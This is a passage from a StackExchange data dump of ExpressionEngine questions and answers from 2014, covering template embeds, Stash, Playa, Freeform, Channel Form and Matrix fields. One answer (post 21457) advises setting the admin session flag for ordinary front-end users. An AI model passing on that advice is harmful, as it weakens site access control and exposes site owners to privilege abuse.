show_expired parameter if you don't want categories with only expired entries included.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can review all the parameters for the channel categories tag at &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/categories.html#parameters&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/add-ons/channel/categories.html#parameters&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="191" LastActivityDate="2014-04-24T14:12:07.483" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="21437" PostTypeId="1" CreationDate="2014-04-24T14:22:12.757" Score="1" ViewCount="64" Body="&lt;p&gt;I’m trying to embed categories into a Switchee value field but can’t get it to work. Can you help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To try to deal with the parsing order problem, I call the Switchee embed from my site/index template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;site/.cases&quot; categories=&quot;{exp:channel:categories category_group=&quot;1&quot; style=&quot;linear&quot; backspace=“1”}{category_url_title}|{/exp:channel:categories}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this is the site/.cases template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{segment_1}&quot; parse=&quot;inward&quot;}&#xA;&#xA;    {case value=&quot;{embed:categories}&quot;}&#xA;        {embed=&quot;site/page&quot; channel=&quot;page&quot;}&#xA;    {/case}&#xA;&#xA;    {case default=&quot;yes&quot;}&#xA;        {embed=&quot;site/404&quot;}&#xA;    {/case}&#xA;&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It fails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried embedding via Low Variables and Template Morsels both directly and through a similar embed method as above and they failed, too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’m at my wits end! Any tips?&lt;/p&gt;&#xA;" OwnerUserId="977" LastActivityDate="2014-04-24T14:22:12.757" Title="Help embedding categories into Switchee value field" Tags="|categories|embeds|switchee|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="21438" PostTypeId="2" ParentId="21412" CreationDate="2014-04-24T15:38:54.123" Score="4" Body="&lt;p&gt;If your &lt;code&gt;{exp:stash:get_list}&lt;/code&gt; tag is wrapped by another tag pair, then commonly used template variables like &lt;code&gt;no_results&lt;/code&gt; are parsed for the parent tag by EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the &lt;code&gt;prefix=&quot;my_prefix&quot;&lt;/code&gt; parameter to provide a namespace, and use the prefix like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if my_prefix:no_results}...{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are a few other ways to check that a list exists (or is empty):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;With a conditional using &lt;code&gt;{exp:stash:list_count}&lt;/code&gt;:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {exp:stash:list_count name=&quot;my_list&quot;} &amp;gt; 0}&#xA;...&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;With a conditional using &lt;code&gt;{exp:stash:is_empty}&lt;/code&gt; or &lt;code&gt;{exp:stash:not_empty}&lt;/code&gt;:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {exp:stash:not_empty name=&quot;my_list&quot;}}&#xA;...&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Or with Switchee:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;stash:my_list&quot; parse=&quot;inward&quot;}&#xA;  {case value=&quot;#^\S+#&quot;}&#xA;     List exists&#xA;  {/case} &#xA;  {case default=&quot;yes&quot;}&#xA;     Doesn't exist&#xA;  {/case}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use either the &lt;code&gt;{if my_prefix:no_results}&lt;/code&gt; or the Switchee methods if you intend to process another tag when the list is empty.&lt;/p&gt;&#xA;" OwnerUserId="289" LastActivityDate="2014-04-24T15:38:54.123" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21439" PostTypeId="1" CreationDate="2014-04-24T15:45:27.877" Score="3" ViewCount="338" Body="&lt;p&gt;I tried ordering a channel entries tag pair by a playa field (that is single entry relationship), like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;channel_name&quot; orderby=&quot;playa_field_name&quot; sort=&quot;asc&quot;}&#xA;looped stuff goes here&#xA;{/exp:channel:entries}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I got was in some sort of order, but it wasn't alphabetical according to the titles of the related entry. I think it's sorting according to the information hardcoded into the database for that playa field, which would sort it according to the entry_id of the related field because the text in the database starts with the entry id in brackets. This is my theory anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Surely I can't be the first person to run across this problem. Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="1894" LastActivityDate="2015-01-31T12:04:08.717" Title="Using Playa field to order channel entries list" Tags="|playa|orderby|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21440" PostTypeId="1" CreationDate="2014-04-24T15:58:40.807" Score="0" ViewCount="2235" Body="&lt;p&gt;I am using &lt;a href=&quot;http://www.devdemon.com/channel_videos/&quot; rel=&quot;nofollow&quot;&gt;Channel Videos&lt;/a&gt; from &lt;a href=&quot;http://www.devdemon.com/&quot; rel=&quot;nofollow&quot;&gt;DevDemon&lt;/a&gt; to pop up videos in a &lt;a href=&quot;http://fancyapps.com/fancybox/&quot; rel=&quot;nofollow&quot;&gt;Fancybox&lt;/a&gt; modal. The videos are hosted on &lt;a href=&quot;https://vimeo.com/&quot; rel=&quot;nofollow&quot;&gt;Vimeo&lt;/a&gt;. Does anyone know how to make the videos autoplay?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looping through the relational entries like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;portfolio recent-work clearfix&quot;&amp;gt;&#xA;    {exp:channel:entries &#xA;        disable=&quot;category_fields|member_data|pagination&quot; &#xA;        category=&quot;1&quot; &#xA;        channel=&quot;program_module&quot; &#xA;        status=&quot;open&quot; &#xA;        show_future_entries=&quot;no&quot; &#xA;        show_expired=&quot;no&quot; &#xA;    }&#xA;        {video_groups_to_include}&#xA;            {exp:channel_videos:videos &#xA;                status=&quot;open&quot; &#xA;                entry_id=&quot;{video_groups_to_include:entry_id}&quot; &#xA;            }&#xA;                &amp;lt;li data-id='id-{video:id}' class='{video_groups_to_include:categories}{category_url_title}{/video_groups_to_include:categories}'&amp;gt;&#xA;                    &amp;lt;a href=&quot;{site_url}_video/{video:id}&quot; data-html=&quot;{site_url}_video/{video:id}&quot; class=&quot;fancybox-lesson player&quot; data-rel=&quot;fancybox-lesson&quot; title=&quot;{video:title}&quot;&amp;gt;&#xA;                        &amp;lt;em class=&quot;overflow-hidden&quot;&amp;gt;&amp;lt;img src=&quot;{video:img_url_hd}&quot; alt=&quot;{video:title}&quot; /&amp;gt;&amp;lt;/em&amp;gt;&#xA;                        &amp;lt;span&amp;gt;&#xA;                            &amp;lt;strong&amp;gt;{video:title}&amp;lt;/strong&amp;gt;&#xA;                            &amp;lt;i&amp;gt;{video:description}&amp;lt;/i&amp;gt;&#xA;                        &amp;lt;/span&amp;gt;&#xA;                    &amp;lt;/a&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;            {/exp:channel_videos:videos}&#xA;        {/video_groups_to_include}&#xA;    {/exp:channel:entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then the video embed is done here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_out}&#xA;    {redirect=&quot;{site_url}&quot;}&#xA;{/if}&#xA;{if logged_in}&#xA;    {exp:channel_videos:videos &#xA;        status=&quot;open&quot; &#xA;        video_id=&quot;{segment_2}&quot; &#xA;        embed_width=&quot;630&quot; &#xA;        embed_height=&quot;354&quot;&#xA;    }&#xA;        {video:embed_code_hd}&#xA;    {/exp:channel_videos:videos}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The js to kick off the modal is here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(&quot;.fancybox-lesson&quot;).fancybox({&#xA;    'padding'       : 0,&#xA;    'autoScale'     : false,&#xA;    'transitionIn'  : 'none',&#xA;    'transitionOut' : 'none',&#xA;    'title'         : this.title,&#xA;    'width'         : 630,&#xA;    'height'        : 354,&#xA;    'href'          : this.href,&#xA;    'type'          : 'ajax'&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't care at which stage I accomplish this as long as it occurs once the video is loaded.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2014-05-24T20:39:42.393" Title="Autoplay videos using Fancybox to open video served from Vimeo via Channel Videos" Tags="|ee2|channel-videos|vimeo|modal|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21441" PostTypeId="1" CreationDate="2014-04-24T16:06:20.070" Score="1" ViewCount="59" Body="&lt;p&gt;I installed Freeform Pro 4.1.3 but it does not appear in the &quot;modules&quot; area of the control panel. I copied the files twice and checked their location but still no change appeared in the &quot;modules&quot; area of the control panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running EE2.6.1, PHP 5.4.7 and MySQL Server 5.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what may cause the module not to appear?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3017" LastActivityDate="2014-04-24T16:19:06.203" Title="Freeform Pro 4.1.3 install question" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21442" PostTypeId="2" ParentId="21441" CreationDate="2014-04-24T16:19:06.203" Score="1" Body="&lt;p&gt;If the module doesn't show up in the list, it's most definitely not in the right place. Are you sure the third_party config override isn't in place, pointing EE to another directory for add-ons? This is a fairly common scenario.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-04-24T16:19:06.203" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21443" PostTypeId="2" ParentId="21413" CreationDate="2014-04-24T16:51:31.133" Score="0" Body="&lt;p&gt;Essentially yes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cartthrob is flexible enough to allow you to create custom plugins that add functionality - you might need this to automate any kind of transaction fee collection and for reporting purposes (assuming your sellers would want to be able to view reports - this might also be possible via front end templates).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But Cartthrob is really just the shopping cart and checkout bit of the site with some back-end reporting tools thrown in. What you're describing is more basic EE functionality with Cartthrob bolted on to handle the transactions bit for customers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could build a seller control panel sitting alongside the public facing site on the front end using EE and use regular templates to pull information for each sellers reports from EE and Cartthrob's data.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-04-24T16:51:31.133" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21444" PostTypeId="1" CreationDate="2014-04-24T17:05:06.090" Score="0" ViewCount="161" Body="&lt;p&gt;I am having a problem with Freeform PRO - when I create dynamic recipient select lists using composer they are not rendering correctly, here is an example output: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;unit size1of2&quot;&amp;gt;&#xA;    &amp;lt;label class=&quot;field_label&quot;&amp;gt;Venue&amp;lt;/label&amp;gt;&#xA;        &amp;lt;p&amp;gt;&#xA;        &amp;lt;select name=&quot;recipient_email&quot;&amp;gt;&amp;lt;/select&amp;gt;&#xA;        &amp;lt;option value=&quot;0&quot;&amp;gt;--&amp;lt;/option&amp;gt;&#xA;&#xA;        &amp;lt;option value=&quot;5359413bda2ea9.89526262&quot;&amp;gt;Sandinista Manchester&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;5359413bda3007.33768703&quot;&amp;gt;test&amp;lt;/option&amp;gt;&#xA;&#xA;    &amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you can see the select list is not wrapping round the options, so it doesnt render correctly on the page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feels like a bug in Freeform. Can anyone from Solspace help please? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Martyn &lt;/p&gt;&#xA;" OwnerUserId="964" LastActivityDate="2014-04-24T17:05:06.090" Title="Freeform pro - Error in Dynamic Recipients" Tags="|solspace-freeform|solspace|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21445" PostTypeId="2" ParentId="20642" CreationDate="2014-04-24T17:16:22.417" Score="0" Body="&lt;p&gt;Playa is playing some tricks - it actually throwing errors when you try access it from CP field types.&#xA;Wygwam is working &#xA;Freeform is working &#xA;Matrix is working &#xA;Channel images had some problems, but since I got in touch with their support and after replacing with edge version they sent me - everything ran fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rest of your add-ons it seems I;m not using it&lt;/p&gt;&#xA;" OwnerUserId="993" LastActivityDate="2014-04-24T17:16:22.417" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21446" PostTypeId="2" ParentId="20642" CreationDate="2014-04-24T17:57:25.680" Score="0" Body="&lt;p&gt;Since I use EE 2.7xxx field editor doesn't work anymore, even on a fresh install. Playa, Matrix, Wygwam, CE image works fine with EE2.8.1 installed, no problems related.&lt;/p&gt;&#xA;" OwnerUserId="1918" LastActivityDate="2014-04-24T17:57:25.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21447" PostTypeId="2" ParentId="21440" CreationDate="2014-04-24T19:25:01.143" Score="1" Body="&lt;p&gt;Try adding '?autoplay=1' to the end of your video link URL after the video id.&lt;/p&gt;&#xA;" OwnerUserId="553" LastActivityDate="2014-04-24T19:25:01.143" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21448" PostTypeId="1" CreationDate="2014-04-24T19:57:32.413" Score="0" ViewCount="349" Body="&lt;p&gt;I am counting views per entry, and I have a 'Most Popular' section on the homepage that shows the most popular entries using &lt;/p&gt;&#xA;&#xA;&lt;p&gt;orderby=&quot;view_count_one&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am finding this list tends to be the oldest entries, since they have been around so long they have the most views. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there away to either:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;divide the views by number of days active and sort on that&#xA;or&lt;/li&gt;&#xA;&lt;li&gt;only show the last 30 days?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thx!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Added:&#xA;I tried display_by=&quot;day&quot; limit=&quot;30&quot;  but that lists all entries in 30 days and kills my entry limit breaking the page layout. I am currenty showing 7 entries, and 30 is too much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I would need somethind like&#xA;display_by=&quot;day&quot; day_limit=&quot;30&quot; limit=&quot;7&quot;&#xA;(I know that wont work ;) just example)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried to set the start by date range by using:&lt;/p&gt;&#xA;&#xA;localize-&gt;format_date('%Y-%m-%d %H:%i', ee()-&gt;localize-&gt;now - 3600);&#xA;?&gt;&#xA;&#xA;&lt;p&gt;from&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/15409/php-conditional-inside-ee-conditional-parse-order-problem&quot;&gt;PHP conditional inside EE conditional - parse order problem&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but that brakes my page and throws an error about line 45 referring to ()&lt;/p&gt;&#xA;" OwnerUserId="812" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2018-12-15T06:30:23.800" Title="Sort by views but limit to last 30 days?" Tags="|orderby|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21450" PostTypeId="2" ParentId="21448" CreationDate="2014-04-24T20:40:55.530" Score="1" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;display_by=&quot;day&quot; limit=&quot;30&quot; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#display-by&quot; rel=&quot;nofollow&quot;&gt;EE-docs for display-by-parameter&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;It seems that the limit-parameter in the example above does NOT limit to 30 absolute days (and so will show entries from the last 30 days), but it will count days on which entries have been posted. So if you use limit=&quot;30&quot; it will show all entries from the last 30 days on which entries have been posted.&lt;/p&gt;&#xA;" OwnerUserId="780" LastEditorUserId="780" LastEditDate="2014-04-27T13:29:37.917" LastActivityDate="2014-04-27T13:29:37.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21451" PostTypeId="2" ParentId="21439" CreationDate="2014-04-24T20:43:56.707" Score="3" Body="&lt;p&gt;Probably the order is the order in which the relationships were created; this at least would be the case for the native EE-relationships. I assume with playa it is the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#orderby&quot; rel=&quot;nofollow&quot;&gt;From the docs&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Ordering by a Relationship field will cause entries to appear in the&#xA;  order the relationships were made, not based on any content from the&#xA;  related entries.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="780" LastActivityDate="2014-04-24T20:43:56.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21453" PostTypeId="2" ParentId="21391" CreationDate="2014-04-24T23:21:02.817" Score="2" Body="&lt;p&gt;Are you logged in while viewing the form? Native EE CAPTCHAs don't display for Super Administrators.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2014-04-24T23:21:02.817" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21454" PostTypeId="2" ParentId="21390" CreationDate="2014-04-24T23:25:44.763" Score="2" Body="&lt;p&gt;Have you checked with the hosting company? They may have updated the server software recently and enabled &lt;code&gt;open_basedir&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. You shouldn't post your real server paths publicly, it's a security concern.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2014-04-24T23:25:44.763" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21455" PostTypeId="2" ParentId="21373" CreationDate="2014-04-24T23:59:12.593" Score="3" Body="&lt;p&gt;The font size button added inline CSS, which is bad practice for modern web development.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The better method is to add a &lt;a href=&quot;http://docs.pixelandtonic.com/wygwam/using/style_set.html&quot; rel=&quot;nofollow&quot;&gt;custom style set&lt;/a&gt; with semantic, re-usable classes like &lt;code&gt;.important&lt;/code&gt; or &lt;code&gt;.featured&lt;/code&gt; that the user can apply to their content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have existing content that used the font size button, you can preserve those styles by setting the &quot;Restrict allowed HTML?&quot; option to &quot;no&quot; in the editor configuration. This will prevent Wygwam from stripping out inline styles.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2014-04-24T23:59:12.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21457" PostTypeId="2" ParentId="20624" CreationDate="2014-04-25T06:14:17.217" Score="0" Body="&lt;p&gt;When i call to support they  said  packages feature was never meant to show on the front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem was in &lt;strong&gt;&quot;EE.BASE&quot;&lt;/strong&gt;  on line no 166 =&gt; $.getJSON(EE.BASE, filter, function(data) and need to set &lt;strong&gt;&quot;admin_sess&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the front-end user login we need to set admin_sess to 1&#xA;and need to set EE.BASE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set EE.BASE as $this-&gt;EE-&gt;session-&gt;userdata['fingerprint']; or user session&#xA;Need to add update query to set admin session to 1 &lt;/p&gt;&#xA;" OwnerUserId="2423" LastActivityDate="2014-04-25T06:14:17.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21458" PostTypeId="1" CreationDate="2014-04-25T06:21:05.403" Score="2" ViewCount="63" Body="&lt;p&gt;I have a form in one page which need to save in two different channel how it can be possible?&#xA;using channel form&lt;/p&gt;&#xA;" OwnerUserId="2423" LastActivityDate="2014-05-25T14:50:36.180" Title="Save one form data in two different channel" Tags="|channel-form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21460" PostTypeId="1" CreationDate="2014-04-25T07:43:03.210" Score="0" ViewCount="84" Body="&lt;p&gt;I need to implement the following search on my ee site&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a matrix field with the following columns&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;start date&#xA;end date&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For example, I have an entry with 2 rows in my matrix column where the values listed are dates that are not available&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Entry Title: Entry 1&lt;br&gt;&#xA;Matrix values&lt;br&gt;&#xA;Start Date &amp;nbsp;&amp;nbsp;- &amp;nbsp;End Date&lt;br&gt;&#xA;01/01/2014 - 15/01/2014&lt;br&gt;&#xA;01/02/2014 - 20/02/2014&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my search form I have a search form with start date and end date&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The user searches with the the following details&lt;br&gt;&#xA;&lt;strong&gt;Start Date &amp;nbsp;&amp;nbsp;- &amp;nbsp;End Date&lt;br&gt;&#xA;02/01/2014 - 10/01/2014&lt;/strong&gt;&lt;br&gt;&#xA;When the users searches no results are displayed as the dates the user selected are in the matrix field as not available&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The user searches with the the following details&lt;br&gt;&#xA;&lt;strong&gt;Start Date &amp;nbsp;&amp;nbsp;- &amp;nbsp;End Date&lt;br&gt;&#xA;16/01/2014 - 20/01/2014&lt;/strong&gt;&lt;br&gt;&#xA;Entry 1 is returned as the dates selected are not in the unavailable list for that entry&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is this possible with low search and is there an example?&lt;/strong&gt;&lt;br&gt;&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3018" LastEditorUserId="69" LastEditDate="2014-04-25T08:17:48.420" LastActivityDate="2014-04-26T04:54:11.793" Title="Solspace Super Serach Matrix Date Range" Tags="|matrix|low-search|supersearch|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21461" PostTypeId="1" AcceptedAnswerId="21555" CreationDate="2014-04-25T08:36:59.517" Score="3" ViewCount="566" Body="&lt;p&gt;Working with Channel form, I have encountered some problems when working with multiple Matrix fields in a single edit form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[EE v2.7.3 and Matrix 2.5.10]&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;When I work with &quot;native&quot; channel form fields &lt;code&gt;{field:field_name}&lt;/code&gt; everything works fine and I can edit all matrix fields and post data.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When I try to use the &quot;custom code&quot; below (&lt;a href=&quot;http://themetaq.com/articles/bring-matrix-data-editing-to-the-front-end&quot; rel=&quot;nofollow&quot;&gt;example on MetaQ&lt;/a&gt;), only the last Matrix field is working. When viewing source, the problem seems to be that all matrix fields before the last one get the &lt;code&gt;{row_id}&lt;/code&gt; and the number of rows of the last Matrix in the form (the one with the highest order value in the field group they both belong to).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The template :&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html &amp;gt;&#xA;&amp;lt;!--[if lt IE 7]&amp;gt; &amp;lt;html class=&quot;no-js lt-ie9 lt-ie8 lt-ie7&quot;&amp;gt; &amp;lt;![endif]--&amp;gt;&#xA;&amp;lt;!--[if IE 7]&amp;gt; &amp;lt;html class=&quot;no-js lt-ie9 lt-ie8&quot;&amp;gt; &amp;lt;![endif]--&amp;gt;&#xA;&amp;lt;!--[if IE 8]&amp;gt; &amp;lt;html class=&quot;no-js lt-ie9&quot;&amp;gt; &amp;lt;![endif]--&amp;gt;&#xA;&amp;lt;!--[if gt IE 8]&amp;gt;&amp;lt;!--&amp;gt; &amp;lt;html class=&quot;no-js&quot; lang=&quot;fr&quot;&amp;gt; &amp;lt;!--&amp;lt;![endif]--&amp;gt;&#xA;    &amp;lt;head&amp;gt;&#xA;&#xA;    &amp;lt;/head&amp;gt;&#xA;    &amp;lt;body&amp;gt;&#xA;    {exp:channel:form  channel=&quot;test&quot; entry_id=&quot;34&quot;}&#xA;&#xA;     &amp;lt;label for=&quot;title&quot;&amp;gt;Title&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;title&quot; id=&quot;title&quot; value=&quot;{title}&quot; size=&quot;50&quot; maxlength=&quot;100&quot; onkeyup=&quot;liveUrlTitle();&quot;&amp;gt;&#xA;&#xA;    &amp;lt;label for=&quot;url_title&quot;&amp;gt;URL Title&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;url_title&quot; id=&quot;url_title&quot; value=&quot;{url_title}&quot; maxlength=&quot;75&quot; size=&quot;50&quot;&amp;gt;&#xA;&#xA;&#xA;    {cf_couleur}&#xA;    &amp;lt;div class=&quot;field&quot;&amp;gt;&amp;lt;!--THIS IS A MATRIX ROW--&amp;gt;&#xA;      &amp;lt;input type=&quot;hidden&quot; name=&quot;cf_couleur[row_order][]&quot; value=&quot;row_id_{row_id}&quot; /&amp;gt;&#xA;      &amp;lt;input type=&quot;text&quot; id=&quot;cf_couleur&quot; name=&quot;cf_couleur[row_id_{row_id}][col_id_26]&quot; value=&quot;{couleur1}&quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  {/cf_couleur}&#xA;&#xA;   {cf_forme}&#xA; &amp;lt;div class=&quot;field&quot;&amp;gt;&amp;lt;!--THIS IS A MATRIX ROW--&amp;gt;&#xA;      &amp;lt;input type=&quot;hidden&quot; name=&quot;cf_forme[row_order][]&quot; value=&quot;row_id_{row_id}&quot; /&amp;gt;&#xA;      &amp;lt;input type=&quot;text&quot; id=&quot;cf_forme&quot; name=&quot;cf_forme[row_id_{row_id}][col_id_27]&quot; value=&quot;{form1}&quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  {/cf_forme}&#xA;    {/exp:channel:form}&#xA;&#xA;   &amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The matrix generated in the browser :&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;field&quot;&amp;gt;&#xA;  &amp;lt;!--THIS IS A MATRIX ROW--&amp;gt;&#xA;  &amp;lt;input type=&quot;hidden&quot; name=&quot;cf_couleur[row_order][]&quot; value=&quot;row_id_184&quot; /&amp;gt;&#xA;  &amp;lt;input type=&quot;text&quot; id=&quot;cf_couleur&quot; name=&quot;cf_couleur[row_id_184][col_id_26]&quot; value=&quot;{couleur1}&quot;&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;field&quot;&amp;gt;&#xA;  &amp;lt;!--THIS IS A MATRIX ROW--&amp;gt;&#xA;  &amp;lt;input type=&quot;hidden&quot; name=&quot;cf_couleur[row_order][]&quot; value=&quot;row_id_185&quot; /&amp;gt;&#xA;  &amp;lt;input type=&quot;text&quot; id=&quot;cf_couleur&quot; name=&quot;cf_couleur[row_id_185][col_id_26]&quot; value=&quot;{couleur1}&quot;&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;field&quot;&amp;gt;&#xA;  &amp;lt;!--THIS IS A MATRIX ROW--&amp;gt;&#xA;  &amp;lt;input type=&quot;hidden&quot; name=&quot;cf_forme[row_order][]&quot; 